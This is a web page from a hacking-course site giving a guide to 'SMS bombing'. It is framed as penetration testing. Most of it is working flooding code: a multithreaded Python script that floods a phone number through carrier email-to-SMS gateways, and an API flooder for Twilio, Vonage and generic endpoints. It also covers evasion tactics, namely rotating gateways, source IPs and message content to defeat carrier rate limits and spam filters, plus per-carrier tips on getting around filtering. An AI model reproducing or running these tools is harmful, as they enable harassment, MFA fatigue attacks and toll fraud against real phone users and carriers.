top of page

How To Do Mobile SMS Bombing (Guide)

How To Do Mobile SMS Bombing (Guide) | Black Hat HQ

SMS Bombing


Here's the complete SMS bombing methodology — testing carrier rate limiting, SMS gateway resilience, MFA flooding weaknesses, and telecom infrastructure under load. This is a guide on how to do mobile SMS bombing.


What You're Actually Testing


SMS bombing in a pentest context typically targets one of these:


Scenario

What You Flood

What You Measure

MFA fatigue / SMS pumping

Target phone number with auth codes

Whether the user approves MFA out of frustration

SMS gateway capacity

Inbound SMS pipeline

Message throughput limits, queue behavior

Rate limiting effectiveness

Carrier or Twilio-style API endpoint

When/if rate limiting kicks in

User enumeration

Multiple numbers + observe behavior

Delivery vs. silent drop = valid vs. invalid number

Toll fraud / premium SMS

Premium-rate numbers

Whether carrier allows premium SMS from your source


Confirm the exact test objective before you start — the tools and metrics differ.


Method 1: Email-to-SMS Gateway Flooding


Every major carrier has an email-to-SMS gateway. This is the easiest vector because you're sending emails, and the carrier converts them to SMS. No SMS API needed.


Carrier Gateway Addresses (US)



Multi-Gateway Bomber Script


python

#!/usr/bin/env python3
"""
SMS bomber via email-to-SMS carrier gateways.
Tests carrier rate limiting and SMS pipeline capacity.
"""

import smtplib
import threading
import time
import random
import dns.resolver
from email.mime.text import MIMEText
from queue import Queue

class SMSBomber:
    
    # Carrier gateways (US)
    GATEWAYS = {
        "att":       "txt.att.net",
        "tmobile":   "tmomail.net",
        "verizon":   "vtext.com",
        "sprint":    "messaging.sprintpcs.com",
        "googlefi":  "msg.fi.google.com",
        "mint":      "mailmymobile.net",
        "boost":     "sms.myboostmobile.com",
        "cricket":   "sms.cricketwireless.net",
        "uscellular":"email.uscc.net",
        "metro":     "mymetropcs.com",
    }
    
    def __init__(self, phone_number, threads=10, count=100, delay=0,
                 from_domain=None, message_template=None):
        self.phone = phone_number
        self.threads = threads
        self.count = count
        self.delay = delay
        self.from_domain = from_domain or "pentest.local"
        self.message_template = message_template or "SMS pentest message #{id}. Authorized security test."
        
        self.queue = Queue()
        self.sent = 0
        self.failed = 0
        self.gateway_stats = {g: {"sent": 0, "failed": 0} for g in self.GATEWAYS}
        self.lock = threading.Lock()
        
        # Cache MX records for all gateways
        self.gateway_mx = {}
        self._resolve_all_gateways()
    
    def _resolve_all_gateways(self):
        """Pre-resolve MX for all carrier gateways."""
        for name, domain in self.GATEWAYS.items():
            try:
                answers = dns.resolver.resolve(domain, 'MX')
                servers = sorted(
                    [(str(r.exchange).rstrip('.'), r.preference) for r in answers],
                    key=lambda x: x[1]
                )
                self.gateway_mx[name] = servers
                print(f"[*] {name}: {len(servers)} MX records")
            except Exception as e:
                print(f"[!] {name} ({domain}): MX lookup failed - {e}")
                self.gateway_mx[name] = []
    
    def _build_sms_email(self, idx, gateway_name):
        """Build an email addressed to the SMS gateway."""
        gateway_domain = self.GATEWAYS[gateway_name]
        to_addr = f"{self.phone}@{gateway_domain}"
        
        # SMS gateways often truncate long messages and strip HTML
        # Keep it under 160 chars for best deliverability
        body = self.message_template.format(id=idx)
        if len(body) > 160:
            body = body[:157] + "..."
        
        msg = MIMEText(body, 'plain', 'utf-8')
        msg['From'] = f"sms-test-{random.randint(1000,9999)}@{self.from_domain}"
        msg['To'] = to_addr
        msg['Subject'] = f"Test {idx}"  # Some gateways include subject in SMS body
        msg['Message-ID'] = f"<sms{idx:x}{random.randint(10000,99999)}@{self.from_domain}>"
        
        return msg
    
    def _send_via_gateway(self, idx, gateway_name):
        """Send one SMS via a specific carrier gateway."""
        mx_list = self.gateway_mx.get(gateway_name, [])
        if not mx_list:
            return False
        
        msg = self._build_sms_email(idx, gateway_name)
        
        # Try MX servers in priority order
        for mx_host, _ in mx_list[:3]:  # Only try top 3
            try:
                with smtplib.SMTP(mx_host, 25, timeout=10) as server:
                    server.helo(self.from_domain)
                    server.sendmail(msg['From'], msg['To'], msg.as_string())
                return True
            except Exception:
                continue
        
        return False
    
    def _worker(self, thread_id):
        """Pick a random gateway and send."""
        active_gateways = [g for g, mx in self.gateway_mx.items() if mx]
        if not active_gateways:
            print("[!] No gateways available with MX records")
            return
        
        while not self.queue.empty():
            try:
                idx = self.queue.get_nowait()
            except:
                break
            
            # Rotate through gateways randomly to avoid single-gateway throttling
            gw = random.choice(active_gateways)
            success = self._send_via_gateway(idx, gw)
            
            with self.lock:
                if success:
                    self.sent += 1
                    self.gateway_stats[gw]["sent"] += 1
                else:
                    self.failed += 1
                    self.gateway_stats[gw]["failed"] += 1
                
                total = self.sent + self.failed
                if total % 20 == 0:
                    print(f"\r[*] {total}/{self.count} (sent:{self.sent} failed:{self.failed})", end="")
            
            if self.delay > 0:
                time.sleep(self.delay + random.uniform(0, self.delay * 0.3))
            
            self.queue.task_done()
    
    def run(self):
        print(f"[*] Target: {self.phone}")
        print(f"[*] Messages: {self.count} | Threads: {self.threads} | Delay: {self.delay}s")
        print(f"[*] Active gateways: {sum(1 for mx in self.gateway_mx.values() if mx)}")
        
        for i in range(self.count):
            self.queue.put(i)
        
        threads = []
        for t in range(self.threads):
            th = threading.Thread(target=self._worker, args=(t,))
            th.daemon = True
            th.start()
            threads.append(th)
        
        start = time.time()
        self.queue.join()
        elapsed = time.time() - start
        
        print(f"\n\n[*] Complete in {elapsed:.1f}s")
        print(f"[*] Sent: {self.sent} | Failed: {self.failed}")
        print(f"[*] Rate: {self.sent/elapsed:.1f} SMS/sec")
        print("\n[*] Per-Gateway Stats:")
        for gw, stats in sorted(self.gateway_stats.items()):
            total = stats['sent'] + stats['failed']
            if total > 0:
                print(f"    {gw:12s}: {stats['sent']:4d} sent, {stats['failed']:4d} failed")

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="SMS Bomber - Pentest Tool")
    parser.add_argument("-n", "--number", required=True, help="Target phone number (10 digits)")
    parser.add_argument("-c", "--count", type=int, default=100, help="Number of SMS messages")
    parser.add_argument("-T", "--threads", type=int, default=10, help="Concurrent threads")
    parser.add_argument("-d", "--delay", type=float, default=0.5, help="Delay between messages")
    parser.add_argument("-m", "--message", default="SMS pentest #{id}. Authorized test.", 
                       help="Message template (use {id} for counter)")
    parser.add_argument("-f", "--from-domain", default="pentest.local", 
                       help="Domain for sender addresses")
    
    args = parser.parse_args()
    
    # Strip non-numeric characters from phone number
    phone = ''.join(c for c in args.number if c.isdigit())
    if len(phone) != 10:
        print("[!] Phone number must be 10 digits")
        exit(1)
    
    bomber = SMSBomber(
        phone_number=phone,
        threads=args.threads,
        count=args.count,
        delay=args.delay,
        from_domain=args.from_domain,
        message_template=args.message
    )
    bomber.run()

Usage:


bash

# Basic test: 500 SMS across all gateways
python3 smsbomber.py -n 5551234567 -c 500 -T 20

# Slow burn over time (1 SMS every 3 seconds for an hour = 1200 SMS)
python3 smsbomber.py -n 5551234567 -c 1200 -d 3 -T 1

# Fast burst: test rate limiting
python3 smsbomber.py -n 5551234567 -c 100 -d 0 -T 50

Method 2: SMS API Flooding (Twilio / Vonage / Plivo Style)


If the target uses an SMS provider API, you can flood through the API directly — useful when you have legitimate API credentials (testing internal abuse scenarios) or when testing an unauthenticated SMS-sending endpoint.


python

#!/usr/bin/env python3
"""
SMS flood via REST API - for testing API rate limiting and abuse controls.
Supports Twilio, Vonage, Plivo, and generic webhook endpoints.
"""

import requests
import threading
import time
import random
from queue import Queue

class APISMSBomber:
    
    def __init__(self, target_number, count=100, threads=10, delay=0):
        self.target = target_number
        self.count = count
        self.threads = threads
        self.delay = delay
        self.queue = Queue()
        self.sent = 0
        self.failed = 0
        self.responses = {}  # Track response codes
        self.lock = threading.Lock()
    
    # ===== Twilio =====
    def send_twilio(self, account_sid, auth_token, from_number):
        """Send via Twilio API."""
        for i in range(self.count):
            try:
                r = requests.post(
                    f"https://api.twilio.com/2010-04-01/Accounts/{account_sid}/Messages.json",
                    auth=(account_sid, auth_token),
                    data={
                        "From": from_number,
                        "To": self.target,
                        "Body": f"Pentest SMS {i+1}/{self.count}"
                    },
                    timeout=10
                )
                self._record(r.status_code, "twilio")
            except Exception as e:
                self._record(0, "twilio")
            time.sleep(self.delay or 0.1)
    
    # ===== Vonage/Nexmo =====
    def send_vonage(self, api_key, api_secret, from_name):
        """Send via Vonage SMS API."""
        for i in range(self.count):
            try:
                r = requests.post(
                    "https://rest.nexmo.com/sms/json",
                    data={
                        "api_key": api_key,
                        "api_secret": api_secret,
                        "from": from_name,
                        "to": self.target,
                        "text": f"Pentest SMS {i+1}/{self.count}"
                    },
                    timeout=10
                )
                self._record(r.status_code, "vonage")
            except Exception as e:
                self._record(0, "vonage")
            time.sleep(self.delay or 0.1)
    
    # ===== Generic Webhook / Custom API =====
    def send_generic(self, url, method="POST", headers=None, body_template=None,
                     auth=None, threads=10):
        """Flood a generic SMS-sending API endpoint."""
        default_headers = {
            "Content-Type": "application/json",
            "User-Agent": "Mozilla/5.0 (compatible; Pentest/1.0)"
        }
        headers = {**default_headers, **(headers or {})}
        
        body_template = body_template or {
            "to": self.target,
            "message": "Pentest SMS #{id}",
            "sender": "TEST"
        }
        
        for i in range(self.count):
            self.queue.put(i)
        
        def worker():
            while not self.queue.empty():
                try:
                    idx = self.queue.get_nowait()
                except:
                    break
                
                body = json.loads(
                    json.dumps(body_template).replace("#{id}", str(idx))
                )
                
                try:
                    if method.upper() == "POST":
                        r = requests.post(url, json=body, headers=headers, 
                                        auth=auth, timeout=10)
                    else:
                        r = requests.get(url, params=body, headers=headers,
                                       auth=auth, timeout=10)
                    self._record(r.status_code, "generic")
                except Exception:
                    self._record(0, "generic")
                
                if self.delay:
                    time.sleep(self.delay + random.uniform(0, self.delay * 0.2))
                
                self.queue.task_done()
        
        threads_list = []
        for _ in range(threads):
            t = threading.Thread(target=worker)
            t.daemon = True
            t.start()
            threads_list.append(t)
        
        self.queue.join()
    
    def _record(self, status_code, source):
        with self.lock:
            if status_code:
                self.sent += 1
            else:
                self.failed += 1
            key = f"{source}:{status_code}"
            self.responses[key] = self.responses.get(key, 0) + 1
    
    def report(self):
        print(f"\n[*] Results: {self.sent} sent, {self.failed} failed")
        print("[*] Response distribution:")
        for key, count in sorted(self.responses.items()):
            print(f"    {key}: {count}")

Method 3: SIP-Based SMS Delivery


If the target telecom infrastructure exposes a SIP interface with SMS support (SMS over SIP, RFC 3428), you can inject SMS messages directly into the network core.


bash

# Using SIPp or sipsak for SMS over SIP
# SMS is sent as a SIP MESSAGE with content-type: text/plain

sipsak -M -s sip:+15551234567@ims.target.com \
       -f sip:pentest@your-sip-server.com \
       -B "Pentest SMS via SIP MESSAGE" \
       -v

For bulk SIP SMS delivery, you'd script against the SIP interface. This is carrier-specific and requires understanding the IMS core architecture, but it's how telecom fraudsters pump SMS at scale — and it's what a proper telecom pentest should test.


Method 4: International Gateway Abuse


Many carriers have weaker filtering on international SMS interconnects. If your engagement scope allows:


python

# Target via international gateways with weaker filtering
INTL_GATEWAYS = {
    "att_intl":     "mms.att.net",        # Sometimes less filtered
    "tmobile_intl": "tmomail.net",         # International path
    # SMS aggregator interconnects (research per carrier)
}

# The key insight: many carriers apply different filtering
# to internationally-originated SMS vs domestic

Evasion and Delivery Optimization


1. Gateway Rotation


Don't hit just one gateway. The script above rotates through all carriers. A single gateway might rate-limit you at 10 SMS/minute, but 10 gateways × 10/minute = 100 SMS/minute aggregate.


2. Sender Variation


Carriers track sender reputation by source address. Vary:


  • From: address domain

  • Source IP (use multiple VPS, proxies, or VPN exits)

  • Message content fingerprint


3. Content Crafting for Deliverability


SMS gateways filter on:


  • URLs in messages — expect blocks

  • Repeated identical content — add entropy

  • Sender address reputation — warm up slowly

  • Message length — keep under 160 chars (single SMS segment)


python

# Entropy injection for content variation
import uuid

def vary_message(template, idx):
    variations = [
        f"{template.format(id=idx)}",
        f"{template.format(id=idx)} [{uuid.uuid4().hex[:4]}]",
        f"{template.format(id=idx)}.",
        f"{template.format(id=idx)}..",
        f"[{idx}] {template.format(id=idx)}",
    ]
    return random.choice(variations)

4. Timing Patterns


python

# Burst mode: max throughput
delay = 0

# Slow burn: 1 SMS every 2-5 seconds (looks like normal conversation)
delay = random.uniform(2, 5)

# Business hours simulation: higher volume during day
hour = datetime.now().hour
if 9 <= hour <= 17:
    delay = random.uniform(1, 3)
else:
    delay = random.uniform(5, 15)

Measuring Results


During the test, track:


[*] Delivery Metrics:
    - Sent count (your side)
    - Soft bounce rate (temporary failures)
    - Hard bounce rate (invalid numbers, blocked)
    - Rate of 200/202 vs 429 (rate limited) responses
    
[*] Target Side (if you have access):
    - SMS received count
    - Time to first rate limit (when gateway started throttling)
    - Queue depth on receiving SMS gateway
    - CPU/memory on SMS processing infrastructure

Key metrics for your report:


  • Messages per second before rate limiting engaged

  • Percentage delivered vs. filtered

  • Which carrier gateways were most/least permissive

  • Whether messages resumed after a cooldown period

  • If the target user experienced MFA fatigue (behavioral — requires observation or user report)


Carrier-Specific Quirks


AT&T (txt.att.net): Aggressive rate limiting. Typically caps at 100-150 SMS/hour from a single source. Rotate source IPs.


T-Mobile (tmomail.net): Somewhat permissive on email-to-SMS. Slower delivery pipeline — messages can be delayed 30-90 seconds.


Verizon (vtext.com): Strict filtering. Repeated messages with similar content get silently dropped. Vary content heavily.


Google Fi (msg.fi.google.com): Uses Google's infrastructure. Very aggressive spam filtering. Hard to flood.


MVNOs (Mint, Cricket, Boost): Often relay through parent carrier gateways with independent filtering — sometimes weaker, sometimes stronger.


Warning: This Can Cause Real Harm


Even on an authorized test:


  • SMS is not free. If the target doesn't have unlimited SMS, you're costing them money. Carriers charge per message on some plans.

  • MFA flooding can lock accounts. Some services trigger account lockout after X failed MFA attempts.

  • Carriers may permanently block your sending infrastructure. Your source IPs, domains, and even the target number can get blacklisted.

  • 911/text-to-911 interference is a possibility. Never, ever send test messages to numbers that could be emergency services.

  • Have a kill switch. Agree on a stop signal with the client. Make sure you can halt delivery within seconds.


Enroll In Online Cybersecurity & Hacking Classes/Courses | Black Hat HQ

Comments


bottom of page